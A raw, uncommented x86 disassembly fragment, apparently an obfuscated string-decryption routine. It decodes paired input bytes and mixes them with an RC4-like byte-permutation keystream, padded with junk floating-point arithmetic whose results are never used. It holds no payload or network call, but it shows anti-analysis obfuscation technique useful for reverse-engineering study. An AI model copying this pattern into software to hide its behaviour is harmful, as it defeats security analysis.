movzx edx, byte [ebp + edx - 0xb0c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xb0c]
xor eax, ecx
movzx ecx, byte [ebp - 0xb15]
movzx ecx, byte [ebp + ecx - 0xb0c]
movzx edx, byte [ebp - 0x9f9]
movzx edx, byte [ebp + edx - 0xb0c]
add ecx, edx
movzx edx, byte [ebp - 0xb0d]
movzx edx, byte [ebp + edx - 0xb0c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xb0c]
movzx ecx, byte [ebp + ecx - 0xb0c]
xor eax, ecx
mov byte [ebp - 0xb15], al
mov al, byte [ebp - 0xb5d]
mov byte [ebp - 0x9f9], al
mov al, byte [ebp - 0xb15]
mov byte [ebp - 0xb9d], al
cmp dword [ebp - 0xb90], 0
jle 0x519374
movsx ax, byte [ebp - 0xb9d]
mov ecx, dword [ebp - 0xb90]
mov word [ebp + ecx*2 - 0x506], ax
jmp 0x51910c
mov eax, dword [ebp - 0xb8c]
inc eax
mov dword [ebp - 0xb8c], eax
mov eax, dword [ebp - 0xb90]
inc eax
mov dword [ebp - 0xb90], eax
mov eax, dword [ebp - 0xb8c]
inc eax
mov dword [ebp - 0xb8c], eax
mov eax, dword [ebp - 0xb90]
shl eax, 1
mov dword [ebp - 0xb30], eax
mov eax, dword [ebp - 0xa04]
add eax, dword [ebp - 0xb30]
movzx eax, byte [eax]
mov dword [ebp - 0xbac], eax
mov dword [ebp - 0xb48], 0xc9
mov eax, dword [ebp - 0xb90]
lea eax, [eax + eax + 1]
mov dword [ebp - 0xb70], eax
mov eax, dword [ebp - 0xa04]
add eax, dword [ebp - 0xb70]
movzx eax, byte [eax]
mov dword [ebp - 0xbd4], eax
mov dword [ebp - 0xba8], 0x4d
mov eax, dword [ebp - 0xbac]
sub eax, dword [ebp - 0xb48]
mov dword [ebp - 0xbd0], eax
mov eax, dword [ebp - 0xbd4]
sub eax, dword [ebp - 0xba8]
mov dword [ebp - 0xb34], eax
mov eax, dword [ebp - 0xbd0]
shl eax, 4
mov dword [ebp - 0xbcc], eax
mov eax, dword [ebp - 0xb34]
mov dword [ebp - 0xba4], eax
mov eax, dword [ebp - 0xbcc]
or eax, dword [ebp - 0xba4]
mov dword [ebp - 0xb88], eax
mov al, byte [ebp - 0xb88]
mov byte [ebp - 0xb5d], al
movzx eax, byte [ebp - 0x9f9]
mov al, byte [ebp + eax - 0xb0c]
mov byte [ebp - 0xbc5], al
movzx eax, byte [ebp - 0xb1f]
movzx eax, byte [ebp + eax - 0xb0c]
movzx ecx, byte [ebp - 0xa09]
add ecx, eax
mov byte [ebp - 0xa09], cl
mov al, byte [ebp - 0xb1f]
add al, 1
mov byte [ebp - 0xb1f], al
movzx eax, byte [ebp - 0xa09]
movzx ecx, byte [ebp - 0x9f9]
mov al, byte [ebp + eax - 0xb0c]
mov byte [ebp + ecx - 0xb0c], al
movzx eax, byte [ebp - 0xb15]
movzx ecx, byte [ebp - 0xa09]
mov al, byte [ebp + eax - 0xb0c]
mov byte [ebp + ecx - 0xb0c], al
movzx eax, byte [ebp - 0xb1f]
movzx ecx, byte [ebp - 0xb15]
mov al, byte [ebp + eax - 0xb0c]
mov byte [ebp + ecx - 0xb0c], al
movzx eax, byte [ebp - 0xb1f]
mov cl, byte [ebp - 0xbc5]
mov byte [ebp + eax - 0xb0c], cl
movzx eax, byte [ebp - 0xbc5]
movzx eax, byte [ebp + eax - 0xb0c]
movzx ecx, byte [ebp - 0xb0d]
add ecx, eax
mov byte [ebp - 0xb0d], cl
movzx eax, byte [ebp - 0xb5d]
movzx ecx, byte [ebp - 0xa09]
movzx ecx, byte [ebp + ecx - 0xb0c]
movzx edx, byte [ebp - 0xb1f]
movzx edx, byte [ebp + edx - 0xb0c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xb0c]
xor eax, ecx
movzx ecx, byte [ebp - 0xb15]
movzx ecx, byte [ebp + ecx - 0xb0c]
movzx edx, byte [ebp - 0x9f9]
movzx edx, byte [ebp + edx - 0xb0c]
add ecx, edx
movzx edx, byte [ebp - 0xb0d]
movzx edx, byte [ebp + edx - 0xb0c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xb0c]
movzx ecx, byte [ebp + ecx - 0xb0c]
xor eax, ecx
mov byte [ebp - 0xb15], al
mov al, byte [ebp - 0xb5d]
mov byte [ebp - 0x9f9], al
mov al, byte [ebp - 0xb15]
mov byte [ebp - 0xb9d], al
cmp dword [ebp - 0xb90], 0
jle 0x5195dc
movsx ax, byte [ebp - 0xb9d]
mov ecx, dword [ebp - 0xb90]
mov word [ebp + ecx*2 - 0x506], ax
mov eax, dword [ebp - 0xb90]
inc eax
mov dword [ebp - 0xb90], eax
mov eax, dword [ebp - 0xb8c]
inc eax
mov dword [ebp - 0xb8c], eax
mov eax, dword [ebp - 0xb90]
shl eax, 1
mov dword [ebp - 0xb30], eax
mov eax, dword [ebp - 0xa04]
add eax, dword [ebp - 0xb30]
movzx eax, byte [eax]
mov dword [ebp - 0xbac], eax
mov dword [ebp - 0xb48], 0xc9
mov eax, dword [ebp - 0xb90]
lea eax, [eax + eax + 1]
mov dword [ebp - 0xb70], eax
mov eax, dword [ebp - 0xa04]
add eax, dword [ebp - 0xb70]
movzx eax, byte [eax]
mov dword [ebp - 0xbd4], eax
mov dword [ebp - 0xba8], 0x4d
mov eax, dword [ebp - 0xbac]
sub eax, dword [ebp - 0xb48]
mov dword [ebp - 0xbd0], eax
mov eax, dword [ebp - 0xbd4]
sub eax, dword [ebp - 0xba8]
mov dword [ebp - 0xb34], eax
mov eax, dword [ebp - 0xbd0]
shl eax, 4
mov dword [ebp - 0xbcc], eax
mov eax, dword [ebp - 0xb34]
mov dword [ebp - 0xba4], eax
mov eax, dword [ebp - 0xbcc]
or eax, dword [ebp - 0xba4]
mov dword [ebp - 0xb88], eax
mov al, byte [ebp - 0xb88]
mov byte [ebp - 0xb5d], al
movzx eax, byte [ebp - 0x9f9]
mov al, byte [ebp + eax - 0xb0c]
mov byte [ebp - 0xbc5], al
movzx eax, byte [ebp - 0xb1f]
movzx eax, byte [ebp + eax - 0xb0c]
movzx ecx, byte [ebp - 0xa09]
add ecx, eax
mov byte [ebp - 0xa09], cl
mov al, byte [ebp - 0xb1f]
add al, 1
mov byte [ebp - 0xb1f], al
movzx eax, byte [ebp - 0xa09]
movzx ecx, byte [ebp - 0x9f9]
mov al, byte [ebp + eax - 0xb0c]
mov byte [ebp + ecx - 0xb0c], al
movzx eax, byte [ebp - 0xb15]
movzx ecx, byte [ebp - 0xa09]
mov al, byte [ebp + eax - 0xb0c]
mov byte [ebp + ecx - 0xb0c], al
movzx eax, byte [ebp - 0xb1f]
movzx ecx, byte [ebp - 0xb15]
mov al, byte [ebp + eax - 0xb0c]
mov byte [ebp + ecx - 0xb0c], al
movzx eax, byte [ebp - 0xb1f]
mov cl, byte [ebp - 0xbc5]
mov byte [ebp + eax - 0xb0c], cl
movzx eax, byte [ebp - 0xbc5]
movzx eax, byte [ebp + eax - 0xb0c]
movzx ecx, byte [ebp - 0xb0d]
add ecx, eax
mov byte [ebp - 0xb0d], cl
movzx eax, byte [ebp - 0xb5d]
movzx ecx, byte [ebp - 0xa09]
movzx ecx, byte [ebp + ecx - 0xb0c]
movzx edx, byte [ebp - 0xb1f]
movzx edx, byte [ebp + edx - 0xb0c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xb0c]
xor eax, ecx
movzx ecx, byte [ebp - 0xb15]
movzx ecx, byte [ebp + ecx - 0xb0c]
movzx edx, byte [ebp - 0x9f9]
movzx edx, byte [ebp + edx - 0xb0c]
add ecx, edx
movzx edx, byte [ebp - 0xb0d]
movzx edx, byte [ebp + edx - 0xb0c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xb0c]
movzx ecx, byte [ebp + ecx - 0xb0c]
xor eax, ecx
mov byte [ebp - 0xb15], al
mov al, byte [ebp - 0xb5d]
mov byte [ebp - 0x9f9], al
mov al, byte [ebp - 0xb15]
mov byte [ebp - 0xb9d], al
cmp dword [ebp - 0xb90], 0
jle 0x519832
movsx ax, byte [ebp - 0xb9d]
mov ecx, dword [ebp - 0xb90]
mov word [ebp + ecx*2 - 0x506], ax
mov eax, dword [ebp - 0xb90]
inc eax
mov dword [ebp - 0xb90], eax
mov eax, dword [ebp - 0xb8c]
inc eax
mov dword [ebp - 0xb8c], eax
mov eax, dword [ebp - 0xb90]
shl eax, 1
mov dword [ebp - 0xb30], eax
mov eax, dword [ebp - 0xa04]
add eax, dword [ebp - 0xb30]
movzx eax, byte [eax]
mov dword [ebp - 0xbac], eax
mov dword [ebp - 0xb48], 0xc9
mov eax, dword [ebp - 0xb90]
lea eax, [eax + eax + 1]
mov dword [ebp - 0xb70], eax
mov eax, dword [ebp - 0xa04]
add eax, dword [ebp - 0xb70]
movzx eax, byte [eax]
mov dword [ebp - 0xbd4], eax
mov dword [ebp - 0xba8], 0x4d
mov eax, dword [ebp - 0xbac]
sub eax, dword [ebp - 0xb48]
mov dword [ebp - 0xbd0], eax
mov eax, dword [ebp - 0xbd4]
sub eax, dword [ebp - 0xba8]
mov dword [ebp - 0xb34], eax
mov eax, dword [ebp - 0xbd0]
shl eax, 4
mov dword [ebp - 0xbcc], eax
mov eax, dword [ebp - 0xb34]
mov dword [ebp - 0xba4], eax
mov eax, dword [ebp - 0xbcc]
or eax, dword [ebp - 0xba4]
mov dword [ebp - 0xb88], eax
mov al, byte [ebp - 0xb88]
mov byte [ebp - 0xb5d], al
movzx eax, byte [ebp - 0x9f9]
mov al, byte [ebp + eax - 0xb0c]
mov byte [ebp - 0xbc5], al
movzx eax, byte [ebp - 0xb1f]
movzx eax, byte [ebp + eax - 0xb0c]
movzx ecx, byte [ebp - 0xa09]
add ecx, eax
mov byte [ebp - 0xa09], cl
mov al, byte [ebp - 0xb1f]
add al, 1
mov byte [ebp - 0xb1f], al
movzx eax, byte [ebp - 0xa09]
movzx ecx, byte [ebp - 0x9f9]
mov al, byte [ebp + eax - 0xb0c]
mov byte [ebp + ecx - 0xb0c], al
movzx eax, byte [ebp - 0xb15]
movzx ecx, byte [ebp - 0xa09]
mov al, byte [ebp + eax - 0xb0c]
mov byte [ebp + ecx - 0xb0c], al
movzx eax, byte [ebp - 0xb1f]
movzx ecx, byte [ebp - 0xb15]
mov al, byte [ebp + eax - 0xb0c]
mov byte [ebp + ecx - 0xb0c], al
movzx eax, byte [ebp - 0xb1f]
mov cl, byte [ebp - 0xbc5]
mov byte [ebp + eax - 0xb0c], cl
movzx eax, byte [ebp - 0xbc5]
movzx eax, byte [ebp + eax - 0xb0c]
movzx ecx, byte [ebp - 0xb0d]
add ecx, eax
mov byte [ebp - 0xb0d], cl
movzx eax, byte [ebp - 0xb5d]
movzx ecx, byte [ebp - 0xa09]
movzx ecx, byte [ebp + ecx - 0xb0c]
movzx edx, byte [ebp - 0xb1f]
movzx edx, byte [ebp + edx - 0xb0c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xb0c]
xor eax, ecx
movzx ecx, byte [ebp - 0xb15]
movzx ecx, byte [ebp + ecx - 0xb0c]
movzx edx, byte [ebp - 0x9f9]
movzx edx, byte [ebp + edx - 0xb0c]
add ecx, edx
movzx edx, byte [ebp - 0xb0d]
movzx edx, byte [ebp + edx - 0xb0c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xb0c]
movzx ecx, byte [ebp + ecx - 0xb0c]
xor eax, ecx
mov byte [ebp - 0xb15], al
mov al, byte [ebp - 0xb5d]
mov byte [ebp - 0x9f9], al
mov al, byte [ebp - 0xb15]
mov byte [ebp - 0xb9d], al
cmp dword [ebp - 0xb90], 0
jle 0x519a88
movsx ax, byte [ebp - 0xb9d]
mov ecx, dword [ebp - 0xb90]
mov word [ebp + ecx*2 - 0x506], ax
mov eax, dword [ebp - 0xb8c]
add eax, 4
mov dword [ebp - 0xb8c], eax
mov eax, dword [ebp - 0xb90]
inc eax
mov dword [ebp - 0xbdc], eax
jmp 0x519ab3
mov eax, dword [ebp - 0xbdc]
inc eax
mov dword [ebp - 0xbdc], eax
mov eax, dword [ebp - 0xbdc]
cmp eax, dword [ebp - 0xb8c]
jge 0x519f8f
fld qword [0x9a5080]
fstp qword [ebp - 0xc1c]
fld qword [0x9a5078]
fstp qword [ebp - 0xbec]
fld qword [0x9a5070]
fstp qword [ebp - 0xbfc]
fld qword [0x9a5068]
fstp qword [ebp - 0xc04]
fld qword [0x9a5060]
fstp qword [ebp - 0xc14]
fld qword [0x9a5058]
fstp qword [ebp - 0xbe4]
fld qword [ebp - 0xc04]
fsub qword [ebp - 0xbe4]
fstp qword [ebp - 0xc04]
fld qword [ebp - 0xc14]
fmul qword [ebp - 0xbe4]
fstp qword [ebp - 0xc14]
fld qword [ebp - 0xc1c]
fsub qword [ebp - 0xbe4]
fstp qword [ebp - 0xc1c]
fld qword [ebp - 0xbec]
fsub qword [ebp - 0xbe4]
fstp qword [ebp - 0xbec]
fld qword [ebp - 0xbfc]
fmul qword [ebp - 0xbe4]
fstp qword [ebp - 0xbfc]
fld qword [ebp - 0xc04]
fadd qword [ebp - 0xbe4]
fstp qword [ebp - 0xc04]
fld qword [ebp - 0xbe4]
fcomp qword [ebp - 0xbfc]
fnstsw ax
test ah, 5
jp 0x519c07
fld qword [ebp - 0xbe4]
fmul qword [ebp - 0xbec]
fstp qword [ebp - 0xbe4]
fld qword [ebp - 0xbe4]
fmul qword [ebp - 0xbec]
fstp qword [ebp - 0xbe4]
fld qword [ebp - 0xbe4]
fmul qword [ebp - 0xbec]
fstp qword [ebp - 0xbe4]
fld qword [ebp - 0xc1c]
fsub qword [ebp - 0xbfc]
fstp qword [ebp - 0xc1c]
fld qword [ebp - 0xc1c]
fmul qword [ebp - 0xbfc]
fstp qword [ebp - 0xc1c]
fld qword [ebp - 0xbfc]
fmul qword [ebp - 0xc14]
fstp qword [ebp - 0xbfc]
mov eax, dword [ebp - 0xb90]
inc eax
mov dword [ebp - 0xb90], eax
jmp 0x519c73
fld qword [ebp - 0xc04]
fsub qword [ebp - 0xbe4]
fstp qword [ebp - 0xc04]
fld qword [ebp - 0xc1c]
fmul qword [ebp - 0xbfc]
fstp qword [ebp - 0xc1c]
fld qword [ebp - 0xc04]
fdiv qword [ebp - 0xbe4]
fstp qword [ebp - 0xc04]
fld qword [ebp - 0xbec]
fsub qword [ebp - 0xc04]
fstp qword [ebp - 0xbec]
fld qword [ebp - 0xc1c]
fsub qword [ebp - 0xbfc]
fstp qword [ebp - 0xc1c]
fld qword [ebp - 0xc14]
fdiv qword [ebp - 0xc1c]
fstp qword [ebp - 0xc14]
mov eax, dword [ebp - 0xb90]
shl eax, 1
mov dword [ebp - 0xb30], eax
mov eax, dword [ebp - 0xa04]
add eax, dword [ebp - 0xb30]
movzx eax, byte [eax]
mov dword [ebp - 0xbac], eax
mov dword [ebp - 0xb48], 0xc9
mov eax, dword [ebp - 0xb90]
lea eax, [eax + eax + 1]
mov dword [ebp - 0xb70], eax
mov eax, dword [ebp - 0xa04]
add eax, dword [ebp - 0xb70]
movzx eax, byte [eax]
mov dword [ebp - 0xbd4], eax
mov dword [ebp - 0xba8], 0x4d
mov eax, dword [ebp - 0xbac]
sub eax, dword [ebp - 0xb48]
mov dword [ebp - 0xbd0], eax
mov eax, dword [ebp - 0xbd4]
sub eax, dword [ebp - 0xba8]
mov dword [ebp - 0xb34], eax
mov eax, dword [ebp - 0xbd0]
shl eax, 4
mov dword [ebp - 0xbcc], eax
mov eax, dword [ebp - 0xb34]
mov dword [ebp - 0xba4], eax
mov eax, dword [ebp - 0xbcc]
or eax, dword [ebp - 0xba4]
mov dword [ebp - 0xb88], eax
mov al, byte [ebp - 0xb88]
mov byte [ebp - 0xb5d], al
movzx eax, byte [ebp - 0x9f9]
mov al, byte [ebp + eax - 0xb0c]
mov byte [ebp - 0xbc5], al
movzx eax, byte [ebp - 0xb1f]
movzx eax, byte [ebp + eax - 0xb0c]
movzx ecx, byte [ebp - 0xa09]
add ecx, eax
mov byte [ebp - 0xa09], cl
mov al, byte [ebp - 0xb1f]
add al, 1
mov byte [ebp - 0xb1f], al
fld qword [0x9a5050]
fstp qword [ebp - 0xc0c]
fld qword [0x9a30a0]
fstp qword [ebp - 0xc24]
fld qword [0x9a5048]
fstp qword [ebp - 0xbf4]
fld qword [ebp - 0xc24]
fadd qword [ebp - 0xbf4]
fstp qword [ebp - 0xc24]
fld qword [ebp - 0xc0c]
fsub qword [ebp - 0xbf4]
fstp qword [ebp - 0xc0c]
fld qword [ebp - 0xc0c]
fadd qword [ebp - 0xbf4]
fstp qword [ebp - 0xc0c]
fld qword [ebp - 0xbf4]
fcomp qword [ebp - 0xc0c]
fnstsw ax
test ah, 5
jp 0x519e2d
fld qword [ebp - 0xbf4]
fmul qword [ebp - 0xc24]
fstp qword [ebp - 0xbf4]
fld qword [ebp - 0xc24]
fsub qword [ebp - 0xc0c]
fstp qword [ebp - 0xc24]
fld qword [ebp - 0xc24]
fmul qword [ebp - 0xc0c]
fstp qword [ebp - 0xc24]
movzx eax, byte [ebp - 0xa09]
movzx ecx, byte [ebp - 0x9f9]
mov al, byte [ebp + eax - 0xb0c]
mov byte [ebp + ecx - 0xb0c], al
jmp 0x519e63
fld qword [ebp - 0xbf4]
fadd qword [ebp - 0xc24]
fstp qword [ebp - 0xbf4]
fld qword [ebp - 0xc24]
fmul qword [ebp - 0xc0c]
fstp qword [ebp - 0xc24]
fld qword [ebp - 0xc0c]
fmul qword [ebp - 0xbf4]
fstp qword [ebp - 0xc0c]
movzx eax, byte [ebp - 0xb15]
movzx ecx, byte [ebp - 0xa09]
mov al, byte [ebp + eax - 0xb0c]
mov byte [ebp + ecx - 0xb0c], al
movzx eax, byte [ebp - 0xb1f]
movzx ecx, byte [ebp - 0xb15]
mov al, byte [ebp + eax - 0xb0c]
mov byte [ebp + ecx - 0xb0c], al
movzx eax, byte [ebp - 0xb1f]
mov cl, byte [ebp - 0xbc5]
mov byte [ebp + eax - 0xb0c], cl
movzx eax, byte [ebp - 0xbc5]
movzx eax, byte [ebp + eax - 0xb0c]
movzx ecx, byte [ebp - 0xb0d]
add ecx, eax
mov byte [ebp - 0xb0d], cl
movzx eax, byte [ebp - 0xb5d]
movzx ecx, byte [ebp - 0xa09]
movzx ecx, byte [ebp + ecx - 0xb0c]
movzx edx, byte [ebp - 0xb1f]
movzx edx, byte [ebp + edx - 0xb0c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xb0c]
xor eax, ecx
movzx ecx, byte [ebp - 0xb15]
movzx ecx, byte [ebp + ecx - 0xb0c]
movzx edx, byte [ebp - 0x9f9]
movzx edx, byte [ebp + edx - 0xb0c]
add ecx, edx
movzx edx, byte [ebp - 0xb0d]
movzx edx, byte [ebp + edx - 0xb0c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xb0c]
movzx ecx, byte [ebp + ecx - 0xb0c]
xor eax, ecx
mov byte [ebp - 0xb15], al
mov al, byte [ebp - 0xb5d]
mov byte [ebp - 0x9f9], al
mov al, byte [ebp - 0xb15]
mov byte [ebp - 0xb9d], al
cmp dword [ebp - 0xb90], 0
jle 0x519f8a
movsx ax, byte [ebp - 0xb9d]
mov ecx, dword [ebp - 0xb90]
mov word [ebp + ecx*2 - 0x506], ax
jmp 0x519aa6
mov eax, dword [ebp - 0xb8c]
inc eax
mov dword [ebp - 0xb8c], eax
mov eax, dword [ebp - 0xb90]
inc eax
mov dword [ebp - 0xb90], eax
mov eax, dword [ebp - 0xb8c]
inc eax
mov dword [ebp - 0xb8c], eax
mov eax, dword [ebp - 0xb90]
shl eax, 1
mov dword [ebp - 0xb30], eax
fld qword [0x9a5040]
fstp qword [ebp - 0xb5c]
fld qword [0x9a5038]
fstp qword [ebp - 0xb84]
fld qword [0x9a5030]
fstp qword [ebp - 0xbbc]
fld qword [0x9a5028]
fstp qword [ebp - 0xb3c]
fld qword [0x9a5020]
fstp qword [ebp - 0xb54]
fld qword [0x9a5018]
fstp qword [ebp - 0xb7c]
fld qword [ebp - 0xb5c]
fadd qword [ebp - 0xb7c]
fstp qword [ebp - 0xb5c]
fld qword [ebp - 0xbbc]
fadd qword [ebp - 0xb7c]
fstp qword [ebp - 0xbbc]
fld qword [ebp - 0xb5c]
fmul qword [ebp - 0xb7c]
fstp qword [ebp - 0xb5c]
fld qword [ebp - 0xb54]
fadd qword [ebp - 0xb7c]
fstp qword [ebp - 0xb54]
fld qword [ebp - 0xb5c]
fadd qword [ebp - 0xb7c]
fstp qword [ebp - 0xb5c]
fld qword [ebp - 0xb5c]
fsub qword [ebp - 0xb7c]
fstp qword [ebp - 0xb5c]
fld qword [ebp - 0xb7c]
fcomp qword [ebp - 0xb5c]
fnstsw ax
test ah, 5
jp 0x51a115
fld qword [ebp - 0xb3c]
fadd qword [ebp - 0xb54]
fstp qword [ebp - 0xb3c]
fld qword [ebp - 0xbbc]
fsub qword [ebp - 0xb3c]
fstp qword [ebp - 0xbbc]
fld qword [ebp - 0xb3c]
fsub qword [ebp - 0xb54]
fstp qword [ebp - 0xb3c]
fld qword [ebp - 0xbbc]
fadd qword [ebp - 0xb3c]
fstp qword [ebp - 0xbbc]
fld qword [ebp - 0xb54]
fsub qword [ebp - 0xb7c]
fstp qword [ebp - 0xb54]
fld qword [ebp - 0xb54]
fadd qword [ebp - 0xb7c]
fstp qword [ebp - 0xb54]
mov eax, dword [ebp - 0xa04]
add eax, dword [ebp - 0xb30]
movzx eax, byte [eax]
mov dword [ebp - 0xbac], eax
jmp 0x51a2da
fld qword [ebp - 0xb3c]
fsub qword [ebp - 0xb54]
fstp qword [ebp - 0xb3c]
fld qword [ebp - 0xb84]
fadd qword [ebp - 0xbbc]
fstp qword [ebp - 0xb84]
fld qword [ebp - 0xb54]
fdiv qword [ebp - 0xb7c]
fstp qword [ebp - 0xb54]
fld qword [ebp - 0xbbc]
fmul qword [ebp - 0xb3c]
fstp qword [ebp - 0xbbc]
fld qword [ebp - 0xbbc]
fsub qword [ebp - 0xb3c]
fstp qword [ebp - 0xbbc]
fld qword [ebp - 0xb5c]
fsub qword [ebp - 0xb84]
fstp qword [ebp - 0xb5c]
fld qword [ebp - 0xb84]
fdiv qword [ebp - 0xbbc]
fstp qword [ebp - 0xb84]
fld qword [ebp - 0xb3c]
fdiv qword [ebp - 0xb54]
fstp qword [ebp - 0xb3c]
fld qword [ebp - 0xb5c]
fmul qword [ebp - 0xb84]
fstp qword [ebp - 0xb5c]
fld qword [ebp - 0xb84]
fdiv qword [ebp - 0xbbc]
fstp qword [ebp - 0xb84]
fld qword [ebp - 0xb54]
fdiv qword [ebp - 0xb7c]
fstp qword [ebp - 0xb54]
fld qword [ebp - 0xb7c]
fsub qword [ebp - 0xb5c]
fstp qword [ebp - 0xb7c]
fld qword [ebp - 0xb3c]
fcomp qword [ebp - 0xb84]
fnstsw ax
test ah, 5
jp 0x51a26e
fld qword [ebp - 0xb54]
fadd qword [ebp - 0xb7c]
fstp qword [ebp - 0xb54]
fld qword [ebp - 0xb7c]
fadd qword [ebp - 0xb5c]
fstp qword [ebp - 0xb7c]
fld qword [ebp - 0xb3c]
fsub qword [ebp - 0xb54]
fstp qword [ebp - 0xb3c]
fld qword [ebp - 0xb5c]
fmul qword [ebp - 0xb84]
fstp qword [ebp - 0xb5c]
fld qword [ebp - 0xb7c]
fdiv qword [ebp - 0xb5c]
fstp qword [ebp - 0xb7c]
fld qword [ebp - 0xb84]
fmul qword [ebp - 0xbbc]
fstp qword [ebp - 0xb84]
jmp 0x51a2da
fld qword [ebp - 0xbbc]
fmul qword [ebp - 0xb54]
fstp qword [ebp - 0xbbc]
fld qword [ebp - 0xb54]
fsub qword [ebp - 0xb5c]
fstp qword [ebp - 0xb54]
fld qword [ebp - 0xb7c]
fadd qword [ebp - 0xb84]
fstp qword [ebp - 0xb7c]
fld qword [ebp - 0xb3c]
fmul qword [ebp - 0xb7c]
fstp qword [ebp - 0xb3c]
fld qword [ebp - 0xb54]
fmul qword [ebp - 0xb5c]
fstp qword [ebp - 0xb54]
fld qword [ebp - 0xbbc]
fadd qword [ebp - 0xb54]
fstp qword [ebp - 0xbbc]
mov dword [ebp - 0xb48], 0xc9
mov eax, dword [ebp - 0xb90]
lea eax, [eax + eax + 1]
mov dword [ebp - 0xb70], eax
mov eax, dword [ebp - 0xa04]
add eax, dword [ebp - 0xb70]
movzx eax, byte [eax]
mov dword [ebp - 0xbd4], eax
mov dword [ebp - 0xba8], 0x4d
mov eax, dword [ebp - 0xbac]
sub eax, dword [ebp - 0xb48]
mov dword [ebp - 0xbd0], eax
mov eax, dword [ebp - 0xbd4]
sub eax, dword [ebp - 0xba8]
mov dword [ebp - 0xb34], eax
mov eax, dword [ebp - 0xbd0]
shl eax, 4
mov dword [ebp - 0xbcc], eax
mov eax, dword [ebp - 0xb34]
mov dword [ebp - 0xba4], eax
mov eax, dword [ebp - 0xbcc]
or eax, dword [ebp - 0xba4]
mov dword [ebp - 0xb88], eax
mov al, byte [ebp - 0xb88]
mov byte [ebp - 0xb5d], al
movzx eax, byte [ebp - 0x9f9]
mov al, byte [ebp + eax - 0xb0c]
mov byte [ebp - 0xbc5], al
movzx eax, byte [ebp - 0xb1f]
movzx eax, byte [ebp + eax - 0xb0c]
movzx ecx, byte [ebp - 0xa09]
add ecx, eax
mov byte [ebp - 0xa09], cl
mov al, byte [ebp - 0xb1f]
add al, 1
mov byte [ebp - 0xb1f], al
movzx eax, byte [ebp - 0xa09]
movzx ecx, byte [ebp - 0x9f9]
mov al, byte [ebp + eax - 0xb0c]
mov byte [ebp + ecx - 0xb0c], al
movzx eax, byte [ebp - 0xb15]
movzx ecx, byte [ebp - 0xa09]
mov al, byte [ebp + eax - 0xb0c]
mov byte [ebp + ecx - 0xb0c], al
movzx eax, byte [ebp - 0xb1f]
movzx ecx, byte [ebp - 0xb15]
mov al, byte [ebp + eax - 0xb0c]
mov byte [ebp + ecx - 0xb0c], al
movzx eax, byte [ebp - 0xb1f]
mov cl, byte [ebp - 0xbc5]
mov byte [ebp + eax - 0xb0c], cl
fld qword [0x9a5010]
fstp qword [ebp - 0xbb4]
fld qword [0x9a5008]
fstp qword [ebp - 0xb6c]
fld qword [0x9a5000]
fstp qword [ebp - 0xb9c]
fld qword [0x9a4ff8]
fstp qword [ebp - 0xbc4]
fld qword [0x9a4ff0]
fstp qword [ebp - 0xb44]
fld qword [ebp - 0xbb4]
fadd qword [ebp - 0xb44]
fstp qword [ebp - 0xbb4]
fld qword [ebp - 0xb6c]
fadd qword [ebp - 0xb44]
fstp qword [ebp - 0xb6c]
fld qword [ebp - 0xbc4]
fadd qword [ebp - 0xb44]
fstp qword [ebp - 0xbc4]
fld qword [ebp - 0xbc4]
fadd qword [ebp - 0xb44]
fstp qword [ebp - 0xbc4]
fld qword [ebp - 0xb9c]
fsub qword [ebp - 0xb44]
fstp qword [ebp - 0xb9c]
fld qword [ebp - 0xb44]
fcomp qword [ebp - 0xbb4]
fnstsw ax
test ah, 5
jp 0x51a53b
fld qword [ebp - 0xbb4]
fmul qword [ebp - 0xb6c]
fstp qword [ebp - 0xbb4]
fld qword [ebp - 0xbc4]
fmul qword [ebp - 0xb44]
fstp qword [ebp - 0xbc4]
fld qword [ebp - 0xbb4]
fmul qword [ebp - 0xb6c]
fstp qword [ebp - 0xbb4]
fld qword [ebp - 0xb6c]
fsub qword [ebp - 0xb9c]
fstp qword [ebp - 0xb6c]
fld qword [ebp - 0xbb4]
fsub qword [ebp - 0xb6c]
fstp qword [ebp - 0xbb4]
movzx eax, byte [ebp - 0xbc5]
movzx eax, byte [ebp + eax - 0xb0c]
movzx ecx, byte [ebp - 0xb0d]
add ecx, eax
mov byte [ebp - 0xb0d], cl
jmp 0x51a595
fld qword [ebp - 0xb44]
fmul qword [ebp - 0xb6c]
fstp qword [ebp - 0xb44]
fld qword [ebp - 0xbb4]
fdiv qword [ebp - 0xb9c]
fstp qword [ebp - 0xbb4]
fld qword [ebp - 0xb6c]
fmul qword [ebp - 0xbc4]
fstp qword [ebp - 0xb6c]
fld qword [ebp - 0xbc4]
fsub qword [ebp - 0xbb4]
fstp qword [ebp - 0xbc4]
fld qword [ebp - 0xbb4]
fmul qword [ebp - 0xb9c]
fstp qword [ebp - 0xbb4]
movzx eax, byte [ebp - 0xb5d]
movzx ecx, byte [ebp - 0xa09]
movzx ecx, byte [ebp + ecx - 0xb0c]
movzx edx, byte [ebp - 0xb1f]
movzx edx, byte [ebp + edx - 0xb0c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xb0c]
xor eax, ecx
movzx ecx, byte [ebp - 0xb15]
movzx ecx, byte [ebp + ecx - 0xb0c]
movzx edx, byte [ebp - 0x9f9]
movzx edx, byte [ebp + edx - 0xb0c]
add ecx, edx
movzx edx, byte [ebp - 0xb0d]
movzx edx, byte [ebp + edx - 0xb0c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xb0c]
movzx ecx, byte [ebp + ecx - 0xb0c]
xor eax, ecx
mov byte [ebp - 0xb15], al
mov al, byte [ebp - 0xb5d]
mov byte [ebp - 0x9f9], al
mov al, byte [ebp - 0xb15]
mov byte [ebp - 0xb9d], al
cmp dword [ebp - 0xb90], 0
jle 0x51a652
movsx ax, byte [ebp - 0xb9d]
mov ecx, dword [ebp - 0xb90]
mov word [ebp + ecx*2 - 0x506], ax
xor eax, eax
mov word [ebp - 0x4ee], ax
jmp 0x51a68e
